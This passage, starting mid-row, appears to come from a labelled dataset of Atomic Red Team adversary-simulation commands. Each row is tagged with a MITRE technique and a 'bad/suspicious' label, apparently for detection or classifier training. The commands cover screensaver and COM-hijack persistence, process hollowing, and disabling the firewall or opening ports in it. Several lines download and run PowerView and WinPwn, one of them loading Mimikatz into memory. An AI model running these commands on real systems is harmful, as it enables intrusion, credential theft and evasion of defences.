""HKEY_CURRENT_USER\Control Panel\Desktop"" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add ""HKEY_CURRENT_USER\Control Panel\Desktop"" /v SCRNSAVE.EXE /t REG_SZ /d ""%SystemRoot%\System32\evilscreensaver.scr"" /f if #{reboot} NEQ 0 shutdown /r /t 0",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.002/T1546.002.yaml,Set Arbitrary Binary as Screensaver,T1546.002,"[""T1546.002""]",windows,0.9,False,"This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dd16a391d36bd4d95a08489c,reg import %userprofile%\backup.reg del %userprofile%\backup.reg del %SystemRoot%\System32\evilscreensaver.scr,reg import %userprofile%\backup.reg del %userprofile%\backup.reg del %SystemRoot%\System32\evilscreensaver.scr,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.002/T1546.002.yaml,Set Arbitrary Binary as Screensaver,T1546.002,"[""T1546.002""]",windows,0.55,True,"This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb875b1dce80b5ed34a68f04,". ""#{script_path}"" $ppid=Get-Process #{parent_process_name} | select -expand id Start-Hollow -Sponsor ""#{sponsor_binary_path}"" -Hollow ""#{hollow_binary_path}"" -ParentPID $ppid -Verbose",". ""#{script_path}"" $ppid=Get-Process #{parent_process_name} | select -expand id Start-Hollow -Sponsor ""#{sponsor_binary_path}"" -Hollow ""#{hollow_binary_path}"" -ParentPID $ppid -Verbose",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.012/T1055.012.yaml,Process Hollowing using PowerShell,T1055.012,"[""T1055.012""]",windows,0.9,False,"This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
076de980d0b5e85de18dd637,"Stop-Process -Name ""#{spawnto_process_name}"" -ErrorAction Ignore","Stop-Process -Name ""#{spawnto_process_name}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.012/T1055.012.yaml,Process Hollowing using PowerShell,T1055.012,"[""T1055.012""]",windows,0.55,True,"This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
10870cc839f1d01c9dea7191,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-MalDoc -macroFile ""PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt"" -officeProduct ""#{ms_product}"" -sub ""Exploit""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-MalDoc -macroFile ""PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt"" -officeProduct ""#{ms_product}"" -sub ""Exploit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.012/T1055.012.yaml,RunPE via VBA,T1055.012,"[""T1055.012""]",windows,0.9,False,"This module executes notepad.exe from within the WINWORD.EXE process
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
273529ad2bfd31459f2aacdd,"$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program ""#{hollow_binary_path}"" -debug","$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program ""#{hollow_binary_path}"" -debug",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.012/T1055.012.yaml,Process Hollowing in Go using CreateProcessW WinAPI,T1055.012,"[""T1055.012""]",windows,0.9,False,"Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bd0539b4820645f8e77871e8,"Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name ""#{hollow_process_name}"" -ErrorAction SilentlyContinue","Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name ""#{hollow_process_name}"" -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.012/T1055.012.yaml,Process Hollowing in Go using CreateProcessW WinAPI,T1055.012,"[""T1055.012""]",windows,0.55,True,"Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b7e760f6b33d336f2277ca40,"$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program ""#{hollow_binary_path}"" -debug","$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program ""#{hollow_binary_path}"" -debug",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.012/T1055.012.yaml,Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012),T1055.012,"[""T1055.012""]",windows,0.9,False,"Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
allows for the retrieval of output generated from executed shellcode.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
75e6e3d5b3f209c87f992335,"New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value ""#{dllpath}"" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType ""String"" Start-Process -FilePath ""C:\Windows\System32\RUNDLL32.EXE"" -ArgumentList '-sta #{clsid}'","New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value ""#{dllpath}"" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType ""String"" Start-Process -FilePath ""C:\Windows\System32\RUNDLL32.EXE"" -ArgumentList '-sta #{clsid}'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.015/T1546.015.yaml,COM Hijacking - InprocServer32,T1546.015,"[""T1546.015""]",windows,0.9,False,"This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ba13ec01b05de71b8ec0a85,Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore,Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.015/T1546.015.yaml,COM Hijacking - InprocServer32,T1546.015,"[""T1546.015""]",windows,0.55,True,"This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
518969b3c42f72bfb2991190,"$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(""9BA05972-F6A8-11CF-A442-00A0C90A8F39"")) $item = $o.Item() $item.Document.Application.ShellExecute(""cmd.exe"",""/c calc.exe"",""C:\windows\system32"",$null,0)","$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(""9BA05972-F6A8-11CF-A442-00A0C90A8F39"")) $item = $o.Item() $item.Document.Application.ShellExecute(""cmd.exe"",""/c calc.exe"",""C:\windows\system32"",$null,0)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.015/T1546.015.yaml,Powershell Execute COM Object,T1546.015,"[""T1546.015""]",windows,0.9,False,"Use the PowerShell to execute COM CLSID object.
Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1dde80476dec95b02777f99,"Get-Process -Name ""*calc"" | Stop-Process","Get-Process -Name ""*calc"" | Stop-Process",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.015/T1546.015.yaml,Powershell Execute COM Object,T1546.015,"[""T1546.015""]",windows,0.55,True,"Use the PowerShell to execute COM CLSID object.
Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca0ccdd959242ddb5b117efd,"New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value ""#{dll_path}"" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType ""String"" Start-Process -FilePath ""C:\Windows\System32\RUNDLL32.EXE"" -ArgumentList '-localserver #{clsid}'","New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value ""#{dll_path}"" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType ""String"" Start-Process -FilePath ""C:\Windows\System32\RUNDLL32.EXE"" -ArgumentList '-localserver #{clsid}'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.015/T1546.015.yaml,COM Hijacking with RunDLL32 (Local Server Switch),T1546.015,"[""T1546.015""]",windows,0.9,False,"This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via ""rundll32.exe -localserver [clsid]"". 
This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. 
Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/
Upon successful execution of this test with the default options, whenever certa",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2119d585e465d8097e741a49,"reg delete ""HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest"" /f reg delete ""HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}"" /f reg delete ""HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}"" /f","reg delete ""HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest"" /f reg delete ""HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}"" /f reg delete ""HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.015/T1546.015.yaml,COM hijacking via TreatAs,T1546.015,"[""T1546.015""]",windows,0.55,True,"This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.
Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The
test is validated by running 'rundll32.exe -sta ""AtomicTest""' to avoid logging out.

References:

https://youtu.be/3gz1QmiMhss?t=1251
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7940307775c2f59af264ad52,gpresult /z,gpresult /z,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1615/T1615.yaml,Display group policy information via gpresult,T1615,"[""T1615""]",windows,0.9,False,"Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer
The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
Turla has used the /z and /v p",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49abff40ce648f1b155bccfb,"powershell -nop -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO""","powershell -nop -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1615/T1615.yaml,Get-DomainGPO to display group policy information via PowerView,T1615,"[""T1615""]",windows,0.9,False,Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
669d14bec8081defd4414390,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPOAudit -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPOAudit -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1615/T1615.yaml,WinPwn - GPOAudit,T1615,"[""T1615""]",windows,0.9,False,Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1d6860f7a4ce773db649c26e,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPORemoteAccessPolicy -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPORemoteAccessPolicy -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1615/T1615.yaml,WinPwn - GPORemoteAccessPolicy,T1615,"[""T1615""]",windows,0.9,False,Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b8aad1777e1df2fca4a0c5e,Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output},Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1615/T1615.yaml,MSFT Get-GPO Cmdlet,T1615,"[""T1615""]",windows,0.9,False,The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2deda720f6d1a38093a83ab8,del $env:temp\GPO_Output.txt -erroraction silentlycontinue,del $env:temp\GPO_Output.txt -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1615/T1615.yaml,MSFT Get-GPO Cmdlet,T1615,"[""T1615""]",windows,0.55,True,The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b8f329ee2023a4ce78e1b2e8,dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file},dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560/T1560.yaml,Compress Data for Exfiltration With PowerShell,T1560,"[""T1560""]",windows,0.9,False,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9efd24103dcf77bc00042a8b,Remove-Item -path #{output_file} -ErrorAction Ignore,Remove-Item -path #{output_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560/T1560.yaml,Compress Data for Exfiltration With PowerShell,T1560,"[""T1560""]",windows,0.55,True,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
42d675219a4665064e68a3db,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') mimiload -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') mimiload -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1620/T1620.yaml,WinPwn - Reflectively load Mimik@tz into memory,T1620,"[""T1620""]",windows,0.9,False,Reflectively load Mimik@tz into memory technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a70202c3c80ad5f37c56ca66,"#{pscp_file} -pw #{vm_pass} #{vib_file} #{vm_user}@#{vm_host}:/tmp echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{vib_install}""","#{pscp_file} -pw #{vm_pass} #{vib_file} #{vm_user}@#{vm_host}:/tmp echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{vib_install}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1129/T1129.yaml,ESXi - Install a custom VIB on an ESXi host,T1129,"[""T1129""]",windows,0.9,False,"An adversary can maintain persistence within an ESXi host by installing malicious vSphere Installation Bundles (VIBs).
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a774684c1c78516376ff5bf3,"echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{vib_remove}""","echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{vib_remove}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1129/T1129.yaml,ESXi - Install a custom VIB on an ESXi host,T1129,"[""T1129""]",windows,0.55,True,"An adversary can maintain persistence within an ESXi host by installing malicious vSphere Installation Bundles (VIBs).
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
085cfa2c2a6e3da614fa1c31,"start ""$PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx""","start ""$PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1559.002/T1559.002.yaml,Execute PowerShell script via Word DDE,T1559.002,"[""T1559.002""]",windows,0.9,False,"When the word document opens it will prompt the user to click ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
72f27fa02441bc69754bb29f,netsh advfirewall set currentprofile state off,netsh advfirewall set currentprofile state off,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Disable Microsoft Defender Firewall,T1562.004,"[""T1562.004""]",windows,0.9,False,"Disables the Microsoft Defender Firewall for the current profile.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c7e2946a3bb85c3243e37d61,netsh advfirewall set currentprofile state on >nul 2>&1,netsh advfirewall set currentprofile state on >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Disable Microsoft Defender Firewall,T1562.004,"[""T1562.004""]",windows,0.55,True,"Disables the Microsoft Defender Firewall for the current profile.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1d51068b015b4ff1676cca7,"reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"" /v ""EnableFirewall"" /t REG_DWORD /d 0 /f","reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"" /v ""EnableFirewall"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Disable Microsoft Defender Firewall via Registry,T1562.004,"[""T1562.004""]",windows,0.9,False,"Disables the Microsoft Defender Firewall for the public profile via registry
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9fbd98aa0f277faeb613772e,"reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"" /v ""EnableFirewall"" /t REG_DWORD /d 1 /f","reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile"" /v ""EnableFirewall"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Disable Microsoft Defender Firewall via Registry,T1562.004,"[""T1562.004""]",windows,0.55,True,"Disables the Microsoft Defender Firewall for the public profile via registry
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
47c7538163b03929fede1b95,"netsh advfirewall firewall set rule group=""remote desktop"" new enable=Yes netsh advfirewall firewall set rule group=""file and printer sharing"" new enable=Yes","netsh advfirewall firewall set rule group=""remote desktop"" new enable=Yes netsh advfirewall firewall set rule group=""file and printer sharing"" new enable=Yes",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Allow SMB and RDP on Microsoft Defender Firewall,T1562.004,"[""T1562.004""]",windows,0.9,False,"Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2048a65c94f07d7ac0ec72e4,netsh advfirewall reset >nul 2>&1,netsh advfirewall reset >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Allow SMB and RDP on Microsoft Defender Firewall,T1562.004,"[""T1562.004""]",windows,0.55,True,"Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8128994bd130d5b2dc3f92e,"netsh advfirewall firewall add rule name=""atomic testing"" action=allow dir=in protocol=TCP localport=450","netsh advfirewall firewall add rule name=""atomic testing"" action=allow dir=in protocol=TCP localport=450",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Opening ports for proxy - HARDRAIN,T1562.004,"[""T1562.004""]",windows,0.9,False,"This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.

reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ad573e37b1771e48abd2694d,"netsh advfirewall firewall delete rule name=""atomic testing"" protocol=TCP localport=450 >nul 2>&1","netsh advfirewall firewall delete rule name=""atomic testing"" protocol=TCP localport=450 >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Opening ports for proxy - HARDRAIN,T1562.004,"[""T1562.004""]",windows,0.55,True,"This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.

reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4894bcc8020978d791cb44eb,"netsh advfirewall firewall add rule name=""Open Port to Any"" dir=in protocol=tcp localport=#{local_port} action=allow profile=any","netsh advfirewall firewall add rule name=""Open Port to Any"" dir=in protocol=tcp localport=#{local_port} action=allow profile=any",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Open a local port through Windows Firewall to any profile,T1562.004,"[""T1562.004""]",windows,0.9,False,This test will attempt to open a local port defined by input arguments to any profile,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3d8dcdf7cf74f9b49d2ebc33,"netsh advfirewall firewall delete rule name=""Open Port to Any"" | Out-Null","netsh advfirewall firewall delete rule name=""Open Port to Any"" | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Open a local port through Windows Firewall to any profile,T1562.004,"[""T1562.004""]",windows,0.55,True,This test will attempt to open a local port defined by input arguments to any profile,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9bdd771952405976ae14e4e9,"Copy-Item ""#{exe_file_path}"" -Destination ""C:\Users\$env:UserName"" -Force netsh advfirewall firewall add rule name=""Atomic Test"" dir=in action=allow program=""C:\Users\$env:UserName\AtomicTest.exe"" enable=yes","Copy-Item ""#{exe_file_path}"" -Destination ""C:\Users\$env:UserName"" -Force netsh advfirewall firewall add rule name=""Atomic Test"" dir=in action=allow program=""C:\Users\$env:UserName\AtomicTest.exe"" enable=yes",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.004/T1562.004.yaml,Allow Executable Through Firewall Located in Non-Standard Location,T1562.004,"[""T1562.004""]",windows,0.9,False,This test will attempt to allow an executable through the system firewall located in the Users directory,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
